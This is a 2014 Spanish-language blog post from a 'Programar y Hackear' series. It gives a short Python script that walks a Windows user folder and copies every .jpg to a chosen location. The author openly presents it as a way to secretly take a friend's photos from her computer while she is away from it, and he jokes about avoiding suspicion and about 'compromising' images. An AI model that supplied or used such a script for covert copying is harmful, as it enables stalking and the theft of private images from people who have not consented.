viernes, 9 de mayo de 2014

Programar y Hackear [2].- Las Fotos De Tu "Amiga" o "Amigo"

Hace unos días de la primera entrada de esta serie y me perdonareis si me paso con las entradas de Python, pero es que realmente me encanta. Bueno, [después de la verdad de Adastra y de Script pasado] que nos guardaba todos los directorios gracias a os.walk. Ahora, una vez que somos capaces de leer las rutas podemos ser capaces de copiar la información de un lugar a otro y si podemos seleccionar la ruta mejor. Pero, como ahora queremos ser malos y solo tenemos 5 minutos para programar algo, ¿por qué nos sirva porqué no hacer que el programa nos busque todas las fotos del ordenador de una amiga?.  Ojo, no entrare a enseñaros como ocultar la shell, como copiar desde carpetas con permisos y ese tipo de cosas. 


import os
import shutil
d1 = raw_input("Ruta: ")
#esto lo conocéis del script anterior 
for root, dirs, files in os.walk("C:/Users"):
#Python 2.7 reconoce file como una expresión por lo tanto el resto es fácil
    for file in files: #ya que el bucle reconoce files como los archivos. 
#La magia del endswith mi vida a cambiado después de esto. 
        if file.endswith(".jpg"):
#shutil, para copiar lo que quieras aunque os va a dar algunos problemas por solapamiento y permisos. 
             shutil.copymode(os.path.join(root,file), d1)
             shutil.copy(os.path.join(root,file), d1)

Un poco de programación una escusa para ir conectar tu smarthpone al pc y cuando tenga que ir al baño a copiar fotos con un solo clic. Como he dicho, el script no os copiara todas las fotos y si llega antes y ve una consola en la pantalla va a sospechar. Pero bueno si tienes unos minutos es una buena opción. 

Y JUSTAMENTE PORQUÉ ES A SI DE FÁCIL, OS PEDIMOS QUE LAS FOTOS COMPROMETIDAS LAS CIFRÉIS.

Sed Bueno con esto, no la subo a GitHub la queréis aprender a como utilizar ese código.  ;) 

No hay comentarios:

Publicar un comentario